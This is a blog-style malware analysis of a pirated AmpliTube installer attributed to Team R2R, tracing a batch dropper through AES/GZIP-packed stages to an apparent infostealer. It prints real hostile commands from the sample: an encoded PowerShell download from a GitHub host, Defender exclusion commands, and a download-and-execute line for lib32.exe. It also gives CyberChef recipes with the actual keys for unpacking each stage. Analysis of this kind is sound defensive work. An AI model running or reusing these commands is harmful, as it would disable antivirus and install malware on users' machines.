Team R2R Torrent Malware

Disclaimer: I do not condone pirating software, this was done out of research reasons and practice in learning to reverse malware.



Premise

I recently thought of how wild the early internet was in terms of pirating. Distinctly, I remember Limewire and the many peers of mine that got malware from downloading songs. So I was curious, is the landscape the same?

So... I had to think of an area where malware would be easiest to deploy to unsuspecting pirates which led to programs that require installation. After a bit of research, I started to see a couple of the same uploader names for vastly distinct types of software. I could go with something like the Adobe Suite, but why not try something esoteric and something that I recently got into, namely a great piece of software called Amplitube. It is a guitar amp and pedal simulator that many different musicians use.

So I got a Windows 11 VM and downloaded the torrent



The File Name and Hashes:

Filename:
-   IK Multimedia AmpliTube 5 Complete v5.5.2.rar
MD5:
-   CA02A4F843D7590A468FC6646986635D
SHA1:
-   92428ED88411BCE0E31422EE8CA559D161D5C572
SHA256:
-   B31466A1DBD5E4E012E82E6C9FFC13D83713C40B193CFE75BABB715D7A0C6733



Examining the RAR Archive:

Opening the RAR archive we see a number of files, with the only thing immediatly perking my interest being the "Setup.exe"

Going into the R2R directory from the previous image we see another executable and a text file named "R2R.txt" which is most likely a readme to explain how to install the pirated software.

The theory was right and it appears to want us to restrict the software from calling out to domains and then to run their keygen software. Thus wanting to create a product key that fits the software licensing software and disallows the program from validating the key externally.

Recon

We can guess all day how malware might operate, but running it and seeing it operate in real time helps us understand what happens. So we run installer

From the start we can see that defender doesn't like the keygen software. This might be caused by the fact its a keygen which has its own category in many of the malware sandboxes.

Once we add the exception, we can see that this executable is not just custom for the one version of the software we installed but for many other versions of the software suite as well as others by the vendor that makes the software.

I clicked the "Automatic Registration" button and was met with a message suggesting that whatever was done was successful.

I try to run the "Setup.exe" file and was met with another Windows Defender message with a different signature but more importantly, a different file and path than the exe.

Finally I see what appears to be another custom written software, this time an installer. But from the previous image, we have something we can look at >:)

Reversing the Batch File:

The batch file does a number of things that will be explained below.

Checking if Admin

The first blob we can see performs a check to see if we are running as Admin

The next is a bit convoluted as its base64'd, but GCHQ has us covered with CyberChef.

The Raw blob

powershell.exe -nologo -noprofile -WindowStyle hidden -exec bypass -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBOAEUAVAAtAEYAcgBhAG0AZQBXAG8AcgBrAC0AeAA2ADQALwBOAEUAVAAvAHIAYQB3AC8AbQBhAGkAbgAvAE4ARQBUAEYAcgBhAG0AZQB3AG8AcgBrAC4AegBpAHAAJwAsACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAE4ARQBUAEYAcgBhAG0AZQB3AG8AcgBrAC4AegBpAHAAJwApADsAIABFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABOAEUAVABGAHIAYQBtAGUAdwBvAHIAawAuAHoAaQBwACcAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwAJwA=

The decrypted base64

(New-Object System.Net.WebClient).DownloadFile('https://github.com/NET-FrameWork-x64/NET/raw/main/NETFramework.zip','C:\Program Files\NETFramework.zip'); Expand-Archive 'C:\Program Files\NETFramework.zip' -DestinationPath 'C:\Program Files\'

Downloading the .Net Framework is quite common among a number of samples of malware I have analyzed. Not sure if this is a quincidence but they don't really Live off the Land.

Setting up other binaries

The script appears to be setting up a new binary that it is going to execute. Three variables are seen performing this:

  • $IsPOwf
    • This is an array of the batch files itself split up by each newline character.
  • $TuhVUs
    • This is grabbing the last element in the $IsPOwf array
  • $GkHpVD
    • This is setting a variable from a base64 blob

What $TuhVUs is:

At the end of the file is a base64 blob whihc is what the $TuhVUs is being set to. From this, we can try and decode the start of the block to get a rough idea of what it is.

7gmsis4zGlbX33hptrwtYpv0jI6Wg/qqU/FnnlJfJjew1jN3DTq1QhPZI3P6l0iLt4nkXjEBsPEyB3Fyz6cKEK3PNmgmLhxQKvtkOp8+kq2yT9mckclrHUCXj73z7PY

Getting it into a hexdump shows us nothing of value, no text nor does the first couple bytes match any known magic numbers

What $GkHpVD is:

This is a decoded blob that was made easier to read with some minor formatting.

using System.Text;
using System.IO;
using System.IO.Compression;
using System.Security.Cryptography; 
public class qksbYX { 
    public static byte[] QsEBoF(byte[] input, byte[] key, byte[] iv) { 
        AesManaged aes = new AesManaged(); 
        aes.Mode = CipherMode.CBC; 
        aes.Padding = PaddingMode.PKCS7; 
        ICryptoTransform decryptor = aes.CreateDecryptor(key, iv); 
        byte[] decrypted = decryptor.TransformFinalBlock(input, 0, input.Length); 
        decryptor.Dispose(); 
        aes.Dispose(); 
        return decrypted; 
    } 
    public static byte[] UjqOKM(byte[] bytes) { 
        MemoryStream msi = new MemoryStream(bytes); 
        MemoryStream mso = new MemoryStream(); 
        var gs = new GZipStream(msi, CompressionMode.Decompress); 
        gs.CopyTo(mso); 
        gs.Dispose(); 
        msi.Dispose(); 
        mso.Dispose(); 
        return mso.ToArray(); 
    }
}

We can now get a sense of what is being created with a class qksbYX being created with two functions QsEBoF and UjqOKM. The two functions are an AES decryption function and GZIP decompression function respectively.

Decompression / Decryption

We can break down the steps as follows:

  1. We can see on line 17 that the AES decryption method QsEBoF is called
  2. The $TuhVUs base64 blob is being thrown into QsEBoF as the input. (Yellow Line)
  3. Line 18 shows a base64 string that is the key is put into next (Blue Line)
  4. Line 19 shows a base64 string that is the IV (initialization vector) (Pastel Orange Line)
  5. We see that the output from QsEBoF is thrown into UjqOKM, the GZIP decompressor.

Getting the Next Stage from the Binary

We have the data an now are going to get the next stage.

Compact recipe for cyberchef with the

[{"op":"From Base64","args":["A-Za-z0-9+/=",true,false]},{"op":"To Hex","args":["Space",0]},{"op":"AES Decrypt","args":[{"option":"Base64","string":"VvTxOHMdT0RLUkr2glQl+fj/r8v03A6LTCQxRimeHHA="},{"option":"Base64","string":"UimbybecKJ23KCAcIq5n6Q=="},"CBC/NoPadding","Hex","Raw",{"option":"Hex","string":""},{"option":"Hex","string":""}]},{"op":"To Hexdump","args":[16,false,false,false]}]

We put the data in cyberchef and see this as the output

This matches the magic bytes for GZIP.

[{"op":"From Base64","args":["A-Za-z0-9+/=",true,false]},
{"op":"To Hex","args":["Space",0]},
{"op":"AES Decrypt","args":[{"option":"Base64","string":"VvTxOHMdT0RLUkr2glQl+fj/r8v03A6LTCQxRimeHHA="},
{"option":"Base64","string":"UimbybecKJ23KCAcIq5n6Q=="},"CBC","Hex","Raw",
{"option":"Hex","string":""},{"option":"Hex","string":""}]},
{"op":"Gunzip","args":[]}]

Using the above recipe, we finally see the coveted MZ, which denotes a Windows executable.

The New Executable

I'm getting tired, so im speedrunning the last bits.

I load up the executable into Ghidra and perform the auto analysis feature. I then check the methods and see lBWjGjldEM sticking out like a sore thumb.

It appears that the software is doing the same thing as the Batch script (using AES and maybe GZIP)

I then use the strings command and see a couple base64 strings which might fit the either the Key or IV.

I then look for the base64 blob that will undergo the AES decryption and GZIP decompression and find it within the exe.

Cyberchef recipe:

[{"op":"From Base64","args":["A-Za-z0-9+/=",true,false]},{"op":"To Hex","args":["Space",0]},{"op":"AES Decrypt","args":[{"option":"Base64","string":"BGEViV16vt66fe6j8Nlg7r9iR3X5UD/a68hBI/65QLw="},{"option":"Base64","string":"ks7qn3RTE8td8eYW/WRA3w=="},"CBC","Hex","Raw",{"option":"Hex","string":""},{"option":"Hex","string":""}]},{"op":"Gunzip","args":[]}]

Ok we have the next MZ, hopefully this isnt a recursive thing...

Stage 3

We load the next stage in Ghidra again and perform the auto analysis feature again.

First thing I notice is no encryption libraries, which means this might be the last stage.

Using Strings reveals all

We now see some interesting string that give us insight into what the exe is doing:

We see that exe is setting a defender exclusion rule

Add-MpPreference -ExclusionPath C:\\ -ExclusionExtension exe ; Add-MpPreference -ExclusionPath C:\\ -ExclusionExtension 'exe','zip' ; @('

We then see that the software is performing a download

' ;(New-Object System.Net.WebClient).DownloadFile($_,$fileName);Expand-Archive -LiteralPath $fileName -DestinationPath $env:APPDATA;Invoke-Item $env:APPDATA\\wininfo64\\lib32.exe }

Finally, we see where the file is being downloaded:

https://github.com/alibaba2044/1337L2/raw/main/wininfo64.zip

Unfortanately, the file hosted on GitHub was not up, so we attempt to pivot to VirusTotal with the closest thing being this. There is already a good writeup about that file if it is indeed the next stage. https://blog.cluster25.duskrise.com/2022/12/22/an-infostealer-comes-to-town.

(for those wondering about how I got to the VT link, it wasn't just the name, it stemmed from VT's relations feature, which linked the same account.)